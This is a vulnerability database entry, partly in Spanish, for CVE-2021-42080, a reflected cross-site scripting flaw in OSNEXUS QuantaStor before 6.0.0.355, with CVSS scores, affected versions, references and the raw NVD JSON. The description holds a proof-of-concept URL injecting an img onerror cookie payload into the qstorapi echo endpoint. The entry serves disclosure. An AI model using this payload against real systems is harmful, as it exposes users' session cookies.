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CVE-2021-42080

Estado: ModificadaAlta (7.4)—

An attacker is able to launch a Reflected XSS attack using a crafted URL.

POC:

Visit the following URL https://<IPADDRESS>:8153/qstorapi/echo?inputMessage=<img%20src=x%20onerror=alert(document.cookie)>

CVSS

Probabilidad de explotación (EPSS)

EPSS (Exploit Prediction Scoring System, de FIRST) estima la probabilidad de que una vulnerabilidad sea explotada en 30 días. Complementa a CVSS (impacto) y a CISA KEV (explotación confirmada).

Tecnologías afectadas (1)

CWE

Referencias

JSON original (NVD)

Mostrar
{
  "id": "CVE-2021-42080",
  "cveTags": [],
  "metrics": {
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2021-42080",
          "role": "CISA Coordinator",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "version": "2.0.3",
          "timestamp": "2024-10-21T21:06:56.590163Z"
        }
      }
    ],
    "cvssMetricV31": [
      {
        "type": "Secondary",
        "source": "csirt@divd.nl",
        "cvssData": {
          "scope": "CHANGED",
          "version": "3.1",
          "baseScore": 7.4,
          "attackVector": "NETWORK",
          "baseSeverity": "HIGH",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
          "integrityImpact": "NONE",
          "userInteraction": "REQUIRED",
          "attackComplexity": "LOW",
          "availabilityImpact": "NONE",
          "privilegesRequired": "NONE",
          "confidentialityImpact": "HIGH"
        },
        "impactScore": 4,
        "exploitabilityScore": 2.8
      },
      {
        "type": "Primary",
        "source": "nvd@nist.gov",
        "cvssData": {
          "scope": "CHANGED",
          "version": "3.1",
          "baseScore": 7.4,
          "attackVector": "NETWORK",
          "baseSeverity": "HIGH",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
          "integrityImpact": "NONE",
          "userInteraction": "REQUIRED",
          "attackComplexity": "LOW",
          "availabilityImpact": "NONE",
          "privilegesRequired": "NONE",
          "confidentialityImpact": "HIGH"
        },
        "impactScore": 4,
        "exploitabilityScore": 2.8
      }
    ]
  },
  "affected": [
    {
      "source": "csirt@divd.nl",
      "affectedData": [
        {
          "vendor": "OSNEXUS",
          "product": "QuantaStor",
          "versions": [
            {
              "status": "affected",
              "version": "0",
              "lessThan": "6.0.0.355",
              "versionType": "semver"
            }
          ],
          "defaultStatus": "unknown"
        }
      ]
    }
  ],
  "published": "2023-07-10T16:15:47.530",
  "references": [
    {
      "url": "https://csirt.divd.nl/CVE-2021-42080",
      "tags": [
        "Third Party Advisory"
      ],
      "source": "csirt@divd.nl"
    },
    {
      "url": "https://csirt.divd.nl/DIVD-2021-00020/",
      "source": "csirt@divd.nl"
    },
    {
      "url": "https://www.osnexus.com/products/software-defined-storage",
      "tags": [
        "Product"
      ],
      "source": "csirt@divd.nl"
    },
    {
      "url": "https://www.wbsec.nl/osnexus",
      "tags": [
        "Third Party Advisory"
      ],
      "source": "csirt@divd.nl"
    },
    {
      "url": "https://csirt.divd.nl/CVE-2021-42080",
      "tags": [
        "Third Party Advisory"
      ],
      "source": "af854a3a-2127-422b-91ae-364da2661108"
    },
    {
      "url": "https://www.divd.nl/DIVD-2021-00020",
      "source": "af854a3a-2127-422b-91ae-364da2661108"
    },
    {
      "url": "https://www.osnexus.com/products/software-defined-storage",
      "tags": [
        "Product"
      ],
      "source": "af854a3a-2127-422b-91ae-364da2661108"
    },
    {
      "url": "https://www.wbsec.nl/osnexus",
      "tags": [
        "Third Party Advisory"
      ],
      "source": "af854a3a-2127-422b-91ae-364da2661108"
    }
  ],
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "type": "Secondary",
      "source": "csirt@divd.nl",
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        }
      ]
    },
    {
      "type": "Primary",
      "source": "nvd@nist.gov",
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        }
      ]
    }
  ],
  "descriptions": [
    {
      "lang": "en",
      "value": "An attacker is able to launch a Reflected XSS attack using a crafted URL.\n\nPOC:\n\nVisit the following URL\nhttps://<IPADDRESS>:8153/qstorapi/echo?inputMessage=<img%20src=x%20onerror=alert(document.cookie)>"
    }
  ],
  "lastModified": "2026-06-17T04:09:16.733",
  "configurations": [
    {
      "nodes": [
        {
          "negate": false,
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:osnexus:quantastor:*:*:*:*:*:*:*:*",
              "vulnerable": true,
              "matchCriteriaId": "5E101217-36C7-4C28-8C61-7744481D2D0E",
              "versionEndExcluding": "6.0.0.355"
            }
          ],
          "operator": "OR"
        }
      ]
    }
  ],
  "sourceIdentifier": "csirt@divd.nl"
}